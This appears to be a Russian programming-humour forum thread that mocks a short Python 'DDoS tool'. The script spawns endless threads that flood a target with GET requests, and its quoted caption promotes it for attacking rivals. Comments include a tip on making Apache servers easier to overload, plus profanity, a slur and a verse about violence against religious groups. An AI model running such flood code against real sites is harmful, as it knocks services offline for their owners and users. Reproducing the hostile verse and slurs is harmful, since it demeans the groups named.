- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
# coding: utf8
import threading
import requests
banner = """
____________________________________________________
| |
| [--] Name: PyDoser |
| |
| [--] Created by: @c3berman |
| |
| [--] Telegram channel: @detectent |
| |
| [--] Version: 1.0.6 |
|____________________________________________________|
"""
print(banner)
def dos():
while True:
requests.get("http://example.com")
while True:
threading.Thread(target=dos).start()
Наткнулся на просторах "этих ваших интернетов" с следующей подписью:
"DDoS инструмент, который позволит вам наказать обидчиков, либо протестировать конкурентов) Вам нужно в коде изменить example com -> на свой сайт для атаки. Скоро опубликую IP DDoS Tool)"
guest8 10.01.2020 17:22 # −999
HoBorogHuu_nemyx 10.01.2020 17:27 # 0
Хотя это может сработать и в более общих условиях, если сервер очень тормозной: слабый процессор или медленная база данных. «Медленная база данных» может означать, что запрос содержит 100500 джойнов, индексы отсутствуют и т. п.
guest8 10.01.2020 17:30 # −999
HoBorogHuu_nemyx 10.01.2020 17:34 # +1
guest8 10.01.2020 17:37 # −999
Fike 10.01.2020 21:14 # +2
HoBorogHuu_nemyx 10.01.2020 17:24 # 0
guest8 10.01.2020 17:26 # −999
Steve_Brown 10.01.2020 17:39 # +4
guest8 10.01.2020 17:30 # −999
HoBorogHuu_nemyx 10.01.2020 17:48 # +1
HoBorogHuu_nemyx 10.01.2020 17:51 # 0
guest8 10.01.2020 18:00 # −999
HoBorogHuu_nemyx 10.01.2020 18:09 # +2
Гораздо хуже внутри самой Испании: в Арагоне, в Валенсии, в Каталонии, в Астурии, в Галисии могут говорить не на кастильском испанском, а на местных языках, которые без переводчика житель Кастилии не поймёт.
adrnin 10.01.2020 19:51 # 0
HoBorogHuu_nemyx 10.01.2020 19:55 # 0
Stallman 10.01.2020 17:57 # 0
guest8 10.01.2020 18:05 # −999
bormand 10.01.2020 22:24 # +1
guest8 11.01.2020 02:12 # −999
HoBorogHuu_nemyx 11.01.2020 02:13 # 0
guest8 11.01.2020 02:16 # −999
gost 11.01.2020 17:02 # 0
Показалось, «аргонианского».
3.14159265 11.01.2020 21:35 # 0
Малость евросоюзные смерды.
Много раб принимает свою участь,
Малость лютеранин начинает работать лучше.
Много мусульман заставляют работать в поле,
Много лютеран дубинками гонят в неволю.
Зачем прогоняем защитников ветхозаветных законов?
Много лютеранин сгорит вместе со своим городом.
bormand 11.01.2020 21:53 # 0
Stallman 10.01.2020 17:39 # +2
guest8 10.01.2020 17:42 # −999
HoBorogHuu_nemyx 10.01.2020 17:57 # +3
bormand 10.01.2020 19:48 # +1
HoBorogHuu_nemyx 10.01.2020 19:58 # +1
Значит, всё-таки задачи нужно как-то планировать: ограничивать количество итераций или разбивать паузами.
bormand 10.01.2020 20:08 # 0
bormand 10.01.2020 19:26 # +1
Stallman 10.01.2020 17:48 # +4
Тут, блять, всего 3 строчки. На что там можно было 6 версий просрать?
HoBorogHuu_nemyx 10.01.2020 17:49 # +3
adrnin 10.01.2020 23:46 # +2
Desktop 24.01.2020 14:47 # +2
Меня ещё забавляет, что чувак не осилил аргументы командной строки. Нужен другой URL? Иди и руками меняй, сука!
3.14159265 10.01.2020 18:00 # +4
Починил.
Fike 10.01.2020 18:28 # +1
bormand 10.01.2020 19:14 # 0
guest8 10.01.2020 19:19 # −999
3.14159265 10.01.2020 21:29 # +4
> os.fork()
Лол, это типа сам себе сделал Deny of Service форк-бомбой?
bormand 10.01.2020 22:25 # 0
HoBorogHuu_nemyx 10.01.2020 22:40 # 0
guest8 10.01.2020 22:55 # −999
gostinho 10.01.2020 23:00 # 0
HoBorogHuu_nemyx 11.01.2020 00:04 # 0
gostinho 10.01.2020 23:03 # 0
guest8 10.01.2020 23:04 # −999
gostinho 10.01.2020 23:05 # 0
guest8 10.01.2020 23:07 # −999
gostinho 10.01.2020 23:25 # 0
guest8 10.01.2020 23:28 # −999
gostinho 10.01.2020 23:28 # 0
guest8 10.01.2020 23:29 # −999
bormand 10.01.2020 23:31 # 0
guest8 10.01.2020 23:33 # −999
bormand 10.01.2020 23:34 # 0
guest8 10.01.2020 23:35 # −999
bormand 10.01.2020 23:35 # 0
Ну можно сделать from __future__ import real_threads и только тогда включать труъ треды.
gostinho 10.01.2020 23:32 # 0
bormand 10.01.2020 23:32 # 0
gostinho 10.01.2020 23:36 # 0
guest8 10.01.2020 23:37 # −999
gostinho 10.01.2020 23:38 # 0
bormand 10.01.2020 23:43 # 0
В шапке этого треда приведён же... HTTP запросы исполняются параллельно - пока один тред ждёт ответа от сети, другой может поделать что-то ещё.
gost 10.01.2020 23:50 # 0
В результате выполнения этого кода на сервер example.com будут последовательно совершены 100 запросов, каждый из которых будет выполнен только после того, как завершится (клиент полностью получит и распарсит ответ) предыдущий.
В результате выполнения этого кода на сервер example.com придут 100 параллельных, одновременных запросов (NB: вместо time.sleep() в конце надо сделать join() по всем тредам, но это лишнее усложнение реального примера).
gostinho 10.01.2020 23:42 # 0
> Пока один спит на IO миллион лет, другой поток хуячит.
Так чем мой пример с 100 файлами отличается? Это не спячка на IO? Не понимаю при чем тут IO. Обычный Sleep не подойдёт?
bormand 10.01.2020 23:44 # 0
Sleep должен прокатить за IO.
gostinho 10.01.2020 23:48 # 0
gostinho 10.01.2020 23:51 # 0
gost 10.01.2020 23:53 # 0
bormand 10.01.2020 23:57 # 0
gostinho 11.01.2020 00:02 # 0
(ну и Sleep ещё)
gost 11.01.2020 00:22 # 0
Справедливости ради, какое-то увеличение производительности, скорее всего, будет. Или не будет, если оверхед от переключения потоков (а это весьма тяжёлая вжопурация) перевесит.
guest8 11.01.2020 01:32 # −999
bormand 10.01.2020 23:37 # 0
guest8 11.01.2020 11:56 # −999
gost 10.01.2020 23:44 # +1
Теперь пусть есть два потока, A и B, и одноядерный процессор («GIL» в «Python» как раз его эмулирует: в один момент времени в пределах одного интерпретатора может работать только один поток, вне зависимости от количества ядер процессора). Запускается поток A. Этот поток посылает на example.com GET-запрос. Если он реализован блокирующим способом — потоку нужно дождаться, пока с сервера придёт ответ, то есть ничего не делать несколько десятков-сотен миллисекунд. В это время, пока поток A ничего не делает, ожидая ответ от сервера, включается поток B и может спокойно делать, что ему требуется. Таким образом, поток B получает дополнительные кванты времени, а поток A «упирается в IO».
Теперь представим, что поток A считает число «Пи» до триллионного знака. Все выделенные ему операционной системой N миллисекунд он будет гонять байтики в процессоре, и ждать не собирается. В результате поток B будет получать кванты времени только по очереди с A. На процессорах с несколькими ядрами в таком режиме работы будет загружено только одно ядро (из-за «GIL»).
bormand 10.01.2020 23:51 # 0
gostinho 10.01.2020 23:57 # 0
Получается отличие от JS в том, что в JS пока один «поток» не завершится, другой не сможет стартовать, а игил даёт по чуть-чуть времени по очереди.
gost 11.01.2020 00:25 # +1
И небольшая поправочка: время для потоков из «threading» даёт не «ИГИЛ», а операционная система. «GIL» лишь гарантирует, что в одном интерпретаторе «Python» одновременно будет выполняться только один поток, вне зависимости от количества ядер процессора.
guest8 11.01.2020 01:21 # −999
gost 11.01.2020 01:46 # 0
В «threading» — обычные системные треды.
«GIL» — это, по сути, просто системный мьютекс. Чтобы тред из «threading» мог выполнять любой питоновский байткод (в пределах одного интерпретатора-процесса) — тред должен владеть этим мьютекстом.
guest8 11.01.2020 01:49 # −999
guest8 11.01.2020 01:53 # −999
guest8 11.01.2020 01:54 # −999
HoBorogHuu_nemyx 11.01.2020 02:03 # 0
На x86, например, можно поднять флаг трассировки, чтобы после каждой инструкции генерировалось прерывание.
guest8 11.01.2020 02:04 # −999
HoBorogHuu_nemyx 11.01.2020 02:10 # 0
Можно переключать задачи по прерываниям от разных устройств (возможно, придётся очень долго ждать).
guest8 11.01.2020 02:15 # −999
HoBorogHuu_nemyx 11.01.2020 02:17 # 0
guest8 11.01.2020 02:19 # −999
Web_Monkey 11.01.2020 02:11 # +1
Правда придётся немного анлизировать код на наличие инструкций перехода.
guest8 11.01.2020 02:13 # −999
guest8 11.01.2020 01:22 # −999
Stallman 11.01.2020 01:42 # 0
guest8 11.01.2020 01:44 # −999
guest8 11.01.2020 11:55 # −999
guest8 11.01.2020 02:04 # −999
HoBorogHuu_nemyx 11.01.2020 00:14 # +1
Почти. Уже на первом «Пентиуме» (P54) было два стула конвейера: «U-pipe» и «V-pipe». Могли одновременно исполняться две инструкции (одна проходила через «U-pipe», вторая — через «V-pipe»), если они не мешали друг другу, например, если они работали с разными регистрами, не задевая при этом флаги, не трогая EIP и не обращаясь к оперативке и к портам ввода-вывода. Там ещё какие-то ограничения были, «V-pipe» был неполноценным и умел исполнять не всё, поэтому распараллеливание инструкций было не таким частым событием.
guest8 11.01.2020 01:35 # −999
HoBorogHuu_nemyx 11.01.2020 18:04 # 0
https://www.enlight.ru/faq3d/articles/61.htm
HoBorogHuu_nemyx 11.01.2020 18:12 # 0
Тут же вторая инструкция ожидает результата первой. Они объединяются в какую-то суперинструкцию?
inkanus_gray 11.01.2020 19:12 # −1
gost 11.01.2020 17:05 # 0
После чего «python.exe» упал.
Какой багор )))
gostinho 11.01.2020 17:13 # 0
gostinho 11.01.2020 17:15 # 0
Тогда нужно верхнеуровнево сделать try, тогда багор, да.
gost 11.01.2020 17:15 # 0
gostinho 11.01.2020 17:15 # 0
gostinho 11.01.2020 17:18 # +1
HoBorogHuu_nemyx 11.01.2020 17:30 # 0
gostinho 11.01.2020 17:33 # 0
gost 11.01.2020 17:37 # +1
guest8 11.01.2020 17:47 # −999
gostinho 11.01.2020 17:50 # 0
guest8 11.01.2020 17:52 # −999
gostinho 11.01.2020 17:56 # 0
gost 11.01.2020 18:02 # 0
guest8 11.01.2020 19:44 # −999
HoBorogHuu_nemyx 11.01.2020 17:55 # 0
1. Увеличить интервал keep-alive, чтобы ненужные соединения висели как можно дольше.
2. Либо использовать технологию «Comet». Это не средство, которое рекламировала «тётя Ася», а вечно открытое соединение для питушни реального времени вроде мессенджеров:
https://ru.wikipedia.org/wiki/Comet_(программирование)
Если за «Апачем» много сайтов, которые используют первое и/или второе, положить их будет легче.
Stallman 11.01.2020 17:36 # 0
В комментах типичная идейная пыхомакака, которая уверена, что "РНР" на самом деле идеален, это все остальные ничиво нипанимают и не умеют правильно писать на "РНР".
3.14159265 11.01.2020 21:28 # 0
Так у меня же finally было!
except — неправильно.
С finally программа будет работать ОЧЕНЬ долго и стабильно.
gost 11.01.2020 21:53 # 0
bormand 11.01.2020 21:55 # 0
gost 11.01.2020 21:59 # 0
3.14159265 11.01.2020 22:01 # +2
Впрочем я когда-то (очень давно) умудрялся без перезагрузки прибивать эти процессы, когда был запущен невинный bat-файл
HoBorogHuu_nemyx 11.01.2020 22:06 # 0
https://ideone.com/ge7FUw
3.14159265 11.01.2020 22:09 # 0
gostinho 12.01.2020 01:15 # 0
3.14159265 11.01.2020 22:11 # 0
3.14159265 11.01.2020 22:18 # +1
Интересненько
https://ideone.com/t2C9nH
HoBorogHuu_nemyx 11.01.2020 22:36 # 0
adrnin 11.01.2020 23:23 # 0
gost 11.01.2020 22:39 # +3
https://ideone.com/80ICnO
3.14159265 11.01.2020 23:34 # 0
Что-то не пойму почему так памяти мало сожрано.
Может ещё аллокацию какую прикрутить чтобы в своп зашло.
adrnin 11.01.2020 23:21 # 0
3.14159265 11.01.2020 23:32 # +1
Так ls же можно сделать.
Jan 11 20:23 .. -rw-rw-r-- 1 root root 28 Jan 11 20:23 prog.sh
adrnin 11.01.2020 23:38 # 0
gostinho 12.01.2020 01:18 # 0
gostinho 12.01.2020 01:11 # 0
gost 11.01.2020 22:45 # +3
N_BCE_3ACMERJINCb 12.01.2020 02:15 # 0
https://www.youtube.com/watch?v=YD_8pxjr70o
Вообще руснявая игровая ракота это просто невообразимый пиздец, вон там тытруба в предлагает посмотреть "даэдрическая броня на 1 уровне", а на самом деле какой-то малец советует кастовать файрболл в стену до 90 уровня а потом поллора обойти ради ингридиентов. А русня даже не жалуется на это.
adrnin 12.01.2020 02:50 # +1
N_BCE_3ACMERJINCb 12.01.2020 10:40 # 0
bormand 13.01.2020 07:22 # 0
Тут их бесконечно много, ну пока стека хватит и http запросы успешно исполняются.
3.14159265 11.01.2020 21:57 # +2
То ли дело жаба.
https://ideone.com/fork/ZDal8g
Это можно хоть на сервак деплоить.
HoBorogHuu_nemyx 11.01.2020 22:01 # 0
gostinho 11.01.2020 22:06 # +1
HoBorogHuu_nemyx 11.01.2020 22:10 # +1
Her 10.01.2020 18:15 # 0
bormand 10.01.2020 19:49 # −1
Fike 10.01.2020 18:22 # 0
bormand 10.01.2020 19:30 # +1
HoBorogHuu_nemyx 10.01.2020 19:31 # 0
HoBorogHuu_nemyx 10.01.2020 19:32 # 0
HoBorogHuu_nemyx 10.01.2020 19:42 # 0
________________________________________ ____________________________
Example Domain
This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission.
More information...
________________________________________ ____________________________
Ссылка ведёт на https://www.iana.org/domains/reserved
Раньше по адресу example.com вроде сайтов не было.
Он ещё и ETag отправляет для отслеживания.
bormand 10.01.2020 19:44 # 0
HoBorogHuu_nemyx 10.01.2020 19:45 # 0
Domain Name: EXAMPLE.COM
Registry Domain ID: 2336799_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.iana.org
Registrar URL: http://res-dom.iana.org
Updated Date: 2019-08-14T07:04:41Z
Creation Date: 1995-08-14T04:00:00Z
Registry Expiry Date: 2020-08-13T04:00:00Z
Registrar: RESERVED-Internet Assigned Numbers Authority
Registrar IANA ID: 376
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Name Server: A.IANA-SERVERS.NET
Name Server: B.IANA-SERVERS.NET
Stallman 10.01.2020 19:48 # 0
Его еще и продлевать надо :))
HoBorogHuu_nemyx 10.01.2020 19:50 # +1
N_BCE_3ACMERJINCb 12.01.2020 02:20 # 0
Her 10.01.2020 20:03 # 0
HoBorogHuu_nemyx 10.01.2020 20:04 # 0
guest8 11.01.2020 03:08 # −999
gostinho 11.01.2020 12:04 # −1
3.14159265 11.01.2020 21:30 # +2
Опять голоса в голове спорят?
gost 11.01.2020 21:53 # 0
adrnin 12.01.2020 02:53 # 0
guest8 11.01.2020 03:45 # −999
adrnin 12.01.2020 02:56 # +1
HoBorogHuu_nemyx 12.01.2020 03:04 # 0
Steve_Brown 13.01.2020 12:31 # 0
А он вкладывал, наверное, зубами, и сунул туда голову
И теперь он тоже медведь.
AnalBoy 13.01.2020 16:20 # −1
guest8 11.01.2020 11:54 # −999
bormand 11.01.2020 13:25 # +1
Не понимаю, на что он там сожрал 85(!) гигов виртуальной памяти. Стеки вроде мелкие.
bormand 11.01.2020 13:50 # +1
Но один фиг 10150. Видимо в айдишники упирается.
guest8 11.01.2020 13:59 # −999
bormand 11.01.2020 14:02 # 0
bormand 11.01.2020 14:00 # +1
bormand 11.01.2020 14:16 # +1
guest8 11.01.2020 17:28 # −999
bormand 11.01.2020 17:40 # 0
1024-- 11.01.2020 14:20 # −1
Совсем нефиг делать в выходные? :)
Хотя, с NVMe питушнёй наверно не так долго ждать.
bormand 11.01.2020 14:26 # 0
HoBorogHuu_nemyx 11.01.2020 14:32 # 0
То есть «commited» (реальный прирост свопа или заём из оперативки) будет после первого доступа?
А зачем тогда при создании треда память резервируется, если не используется? Зачем? Зачем?
gost 11.01.2020 14:36 # 0
1024-- 11.01.2020 14:33 # 0
6arPoBblu_nemyx 11.01.2020 15:53 # +1
AnalBoy 11.01.2020 23:56 # −1
AnalBoy 11.01.2020 16:40 # −2
HoBorogHuu_nemyx 13.01.2020 12:21 # 0